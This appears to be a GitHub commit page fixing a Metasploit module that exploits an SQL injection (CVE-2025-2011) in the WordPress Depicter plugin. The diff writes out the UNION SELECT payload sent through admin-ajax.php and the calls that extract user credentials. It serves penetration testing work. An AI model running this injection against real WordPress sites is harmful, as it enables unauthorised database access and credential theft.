Skip to content

Commit be3d777

Browse files
authored
Merge pull request #20382 from Chocapikk/depicter-fix
Fix `auxiliary/gather/wp_depicter_sqli_cve_2025_2011`
2 parents bcc59f1 + e42af18 commit be3d777

File tree

1 file changed

+28
-24
lines changed

1 file changed

+28
-24
lines changed

modules/auxiliary/gather/wp_depicter_sqli_cve_2025_2011.rb

Lines changed: 28 additions & 24 deletions
Original file line numberDiff line numberDiff line change
@@ -21,8 +21,8 @@ def initialize(info = {})
2121
in admin-ajax.php.
2222
},
2323
'Author' => [
24-
'Muhamad Visat', # Vulnerability Discovery
25-
'Valentin Lobstein' # Metasploit Module
24+
'Muhamad Visat', # Vulnerability discovery
25+
'Valentin Lobstein' # Metasploit module
2626
],
2727
'License' => MSF_LICENSE,
2828
'References' => [
@@ -31,10 +31,6 @@ def initialize(info = {})
3131
['URL', 'https://cloud.projectdiscovery.io/library/CVE-2025-2011'],
3232
['URL', 'https://plugins.trac.wordpress.org/browser/depicter/trunk/app/src/Controllers/Ajax/LeadsAjaxController.php?rev=3156664#L179']
3333
],
34-
'Actions' => [
35-
['SQLi', { 'Description' => 'Perform SQL Injection via admin-ajax.php?s=' }]
36-
],
37-
'DefaultAction' => 'SQLi',
3834
'DefaultOptions' => {
3935
'VERBOSE' => true,
4036
'COUNT' => 1
@@ -60,29 +56,34 @@ def get_sqli_object
6056
r1, r2, r3, r4, r5 = Array.new(5) { rand(1000..9999) }
6157
injected = "#{r1}') UNION SELECT #{r2},#{r3},(#{expr}),#{r4},#{r5}-- -"
6258

63-
endpoint = normalize_uri('wp-admin', 'admin-ajax.php')
64-
params = {
65-
'action' => 'depicter-lead-index',
66-
's' => injected,
67-
'perpage' => rand(10..50).to_s,
68-
'page' => rand(1..3).to_s,
69-
'orderBy' => 'source_id',
70-
'order' => ['ASC', 'DESC'].sample,
71-
'dateStart' => '',
72-
'dateEnd' => '',
73-
'sources' => ''
74-
}
7559
res = send_request_cgi(
7660
'method' => 'GET',
77-
'uri' => endpoint,
78-
'vars_get' => params
61+
'uri' => normalize_uri('wp-admin', 'admin-ajax.php'),
62+
'vars_get' => {
63+
'action' => 'depicter-lead-index',
64+
's' => injected,
65+
'perpage' => rand(10..50).to_s,
66+
'page' => rand(1..3).to_s,
67+
'orderBy' => 'source_id',
68+
'order' => %w[ASC DESC].sample,
69+
'dateStart' => '',
70+
'dateEnd' => '',
71+
'sources' => ''
72+
}
7973
)
80-
return GET_SQLI_OBJECT_FAILED_ERROR_MSG unless res&.code == 200
8174

82-
extracted = res.get_json_document.dig('hits', 0, 'content', 'id')
83-
return GET_SQLI_OBJECT_FAILED_ERROR_MSG if extracted.to_s.empty?
75+
next GET_SQLI_OBJECT_FAILED_ERROR_MSG unless res&.code == 200
76+
77+
doc = res.get_json_document
78+
value = if doc.respond_to?(:dig)
79+
doc.dig('hits', 0, 'content', 'id')
80+
else
81+
GET_SQLI_OBJECT_FAILED_ERROR_MSG
82+
end
8483

85-
extracted
84+
next GET_SQLI_OBJECT_FAILED_ERROR_MSG if value.to_s.empty?
85+
86+
value
8687
end
8788
end
8889

@@ -96,6 +97,9 @@ def check
9697

9798
def run
9899
@sqli ||= get_sqli_object
100+
if @sqli == GET_SQLI_OBJECT_FAILED_ERROR_MSG
101+
fail_with(Failure::UnexpectedReply, @sqli)
102+
end
99103
wordpress_sqli_initialize(@sqli)
100104
wordpress_sqli_get_users_credentials(datastore['COUNT'])
101105
end

0 commit comments

Comments
 (0)